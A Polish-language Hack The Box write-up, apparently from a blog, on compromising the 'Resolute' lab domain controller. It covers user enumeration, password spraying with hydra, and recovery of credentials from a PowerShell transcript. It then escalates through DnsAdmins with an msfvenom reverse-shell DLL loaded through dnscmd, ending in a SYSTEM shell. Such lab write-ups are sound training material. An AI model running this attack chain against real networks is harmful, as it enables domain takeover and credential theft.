[HTB] Resolute

Wstępna enumeracja w poszukiwaniu potencjalnych luk

Skanowanie portów:

Używamy do tego skanera portów nmap:

nmap -sV -A -p- -v -Pn 10.10.10.169 -oN nmap/allports

Użyte przełączniki:

  • sV – detekcja usług/wersji na otwartych portach
  • A – uruchamianie agresywnego skanu (skan z wykorzystaniem skryptów, detekcji wersji wykrytych serwisów, detekcji OS oraz wykonanie traceroute)
  • -p- skan wszystkich portów
  • v – włączenie “gadatliwości”
  • Pn- skan bez pingowania
  • oN – zapisanie wyniku do pliku

Wynik:

PORT STATE SERVICE VERSION
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-08-24 13:52:17Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49677/tcp open msrpc Microsoft Windows RPC
49688/tcp open msrpc Microsoft Windows RPC
49709/tcp open msrpc Microsoft Windows RPC
53557/tcp open tcpwrapped

Nmap pokazał nam wiele otwartych portów. Na podstawie wyniku możemy wywnioskować, że atakowana maszyna to prawdopodobnie kontroler domeny megabank.local.

Uzyskanie uprawnień użytkownika

Widząc otwarty port 135 (REMOTE PROCEDURE CALL), spróbujmy defaultowego połączenia z wykorzystaniem rpcclient:

rpcclient -U '' 10.10.10.169
Enter WORKGROUP\'s password:
rpcclient $>

Jak widzimy powyżej domyślne połączenie jest możliwe. Możemy w łatwy sposób wyenumerować wszystkich użytkowników domeny i zapisać ich do oddzielnego pliku:

rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[ryan] rid:[0x451]
user:[marko] rid:[0x457]
user:[sunita] rid:[0x19c9]
user:[abigail] rid:[0x19ca]
user:[marcus] rid:[0x19cb]
user:[sally] rid:[0x19cc]
user:[fred] rid:[0x19cd]
user:[angela] rid:[0x19ce]
user:[felicia] rid:[0x19cf]
user:[gustavo] rid:[0x19d0]
user:[ulf] rid:[0x19d1]
user:[stevie] rid:[0x19d2]
user:[claire] rid:[0x19d3]
user:[paulo] rid:[0x19d4]
user:[steve] rid:[0x19d5]
user:[annette] rid:[0x19d6]
user:[annika] rid:[0x19d7]
user:[per] rid:[0x19d8]
user:[claude] rid:[0x19d9]
user:[melanie] rid:[0x2775]
user:[zach] rid:[0x2776]
user:[simon] rid:[0x2777]
user:[naoki] rid:[0x2778]

Aby uzyskać więcej informacji o użytkownikach domeny korzystamy z komendy:

rpcclient $> queryuser marko
User Name : marko
Full Name : Marko Novak
Home Drive :
Dir Drive :
Profile Path:
Logon Script:
Description : Account created. Password set to Welcome123!
Workstations:
Comment :
Remote Dial :
Logon Time : Wed, 31 Dec 1969 19:00:00 EST
Logoff Time : Wed, 31 Dec 1969 19:00:00 EST
Kickoff Time : Wed, 13 Sep 30828 22:48:05 EDT
Password last set Time : Fri, 27 Sep 2019 09:17:15 EDT
Password can change Time : Sat, 28 Sep 2019 09:17:15 EDT
Password must change Time: Wed, 13 Sep 30828 22:48:05 EDT
unknown_2[0..31]…
user_rid : 0x457
group_rid: 0x201
acb_info : 0x00000210
fields_present: 0x00ffffff
logon_divs: 168
bad_password_count: 0x00000000
logon_count: 0x00000000
padding1[0..7]…
logon_hrs[0..21]…

Widzimy, że hasło użytkownika marko to: Welcome123! Sprawdźmy to!

W tym celu wykorzystamy skrypt napisany w języku ruby evil-winrm:

evil-winrm -i 10.10.10.169 -u marko -p Welcome123!
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
Error: Exiting with code 1
  • i – adres ip hosta docelowego
  • u – nazwa użytkownika
  • p – hasło użytkownika

Niestety próba logowania nie powiodła się.

Jednakże mając nazwy wszystkich użytkowników, możemy przeprowadzić atak typu “Password Spraying” (wielu użytkowników, jedno hasło). W tym celu posłużymy się narzędziem hydra:

hydra -L users.txt -p Welcome123! smb://10.10.10.169
  • L – plik z użytkownikami
  • p – hasło
  • smb:// – atakowany protokół
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-08-24 09:17:09
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] max 1 task per 1 server, overall 1 task, 27 login tries (l:27/p:1), ~27 tries per task
[DATA] attacking smb://10.10.10.169:445/
[445][smb] host: 10.10.10.169 login: melanie password: Welcome123!
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-08-24 09:17:15

Spróbujmy zatem zalogować się powyższymi credentialami korzystając ponownie ze skryptu evil-winrm:

evil-winrm -i 10.10.10.169 -u melanie -p Welcome123!
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
Evil-WinRM PS C:\Users\melanie\Documents> whoami; hostname
megabank\melanie
Resolute

Mamy dostęp do maszyny jako użytkownik

Uzyskanie uprawnień Administratora

Przechodzimy do folderu głównego C:\. Sprawdzamy jego zawartość (uwzględniając ukryte pliki oraz foldery):

Evil-WinRM PS C:> ls -hidden
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d--hs- 12/3/2019 6:40 AM $RECYCLE.BIN
d--hsl 9/25/2019 10:17 AM Documents and Settings
d--h-- 9/25/2019 10:48 AM ProgramData
d--h-- 12/3/2019 6:32 AM PSTranscripts
d--hs- 9/25/2019 10:17 AM Recovery
d--hs- 9/25/2019 6:25 AM System Volume Information
-arhs- 11/20/2016 5:59 PM 389408 bootmgr
-a-hs- 7/16/2016 6:10 AM 1 BOOTNXT
-a-hs- 8/24/2020 5:22 AM 402653184 pagefile.sys

Evil-WinRM PS C:\PSTranscripts> ls -hidden
Directory: C:\PSTranscripts
Mode LastWriteTime Length Name
---- ------------- ------ ----
d--h-- 12/3/2019 6:45 AM 20191203

Evil-WinRM PS C:\PSTranscripts> cd 20191203
Evil-WinRM PS C:\PSTranscripts\20191203> ls -hidden

Directory: C:\PSTranscripts\20191203
Mode LastWriteTime Length Name
---- ------------- ------ ----
-arh-- 12/3/2019 6:45 AM 3732 PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt

Zaglądamy do folderu 20191203. Znajdujemy tam plik tesktowy, który zawiera hasło kolejnego użytkownika:

PS>CommandInvocation(Out-String): "Out-String"
ParameterBinding(Out-String): name="InputObject"; value="The syntax of this command is:"
cmd : The syntax of this command is:
At line:1 char:1
cmd /c net use X: \fs01\backups ryan Serv3r4Admin4cc123!

Logujemy się na drugiego użytkownika:

evil-winrm -i 10.10.10.169 -u ryan -p Serv3r4Admin4cc123!
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
Evil-WinRM PS C:\Users\ryan\Documents>

Sprawdzamy przynależność użytkownika do grup. Jak widzimy należy on do grupy DNSAdmins. Może być to potencjalny wektor ataku przy eskalacji uprawnień.

Evil-WinRM PS C:\Users\ryan\Documents> whoami /groups
GROUP INFORMATION
Group Name Type SID Attributes
========================================== ================ ============================================== ===============================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
MEGABANK\Contractors Group S-1-5-21-1392959593-3013219662-3596683436-1103 Mandatory group, Enabled by default, Enabled group
MEGABANK\DnsAdmins Alias S-1-5-21-1392959593-3013219662-3596683436-1101 Mandatory group, Enabled by default, Enabled group, Local Group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192

Po krótkim resaerchu, znalazłem ciekawy artykuł opisujący metodę podniesienia uprawnień, którą można użyć w naszym przypadku (DNS Admins Priv Esc in Active Directory).

Generujemy payload z wykorzystaniem narzędzia msfvenom:

msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=[moje_ip] LPORT=4444 -f dll > privesc.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 5120 bytes

Przenosimy wygenerowany dll na maszynę. W tym celu używamy skryptu smbserver.py z Impacket:

sudo smbserver.py share ./

Używamy dnscmd aby osadzić nasz złośliwy plik dll w rejestrze Windowsa:

Evil-WinRM PS C:\Users\ryan\Desktop> dnscmd resolute.megabank.local /config /serverlevelplugindll \[moje_ip]\share\privesc.dll
Registry property serverlevelplugindll successfully reset.
Command completed successfully.

Następnie ustawiamy listenera na porcie 4444 i restartujemy usługę dns:

Evil-WinRM PS C:\Users\ryan\Desktop> sc.exe \resolute stop dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 3 STOP_PENDING
(STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0

Evil-WinRM PS C:\Users\ryan\Desktop> sc.exe \resolute start dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 1896
FLAGS :

W wyniku uzyskujemy reverse shella z uprawnieniami Administratora:

nc -nlvp 4444
listening on [any] 4444 …
connect to [10.10.14.14] from (UNKNOWN) [10.10.10.169] 56341
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system

1 thought on “[HTB] Resolute”

Comments are closed.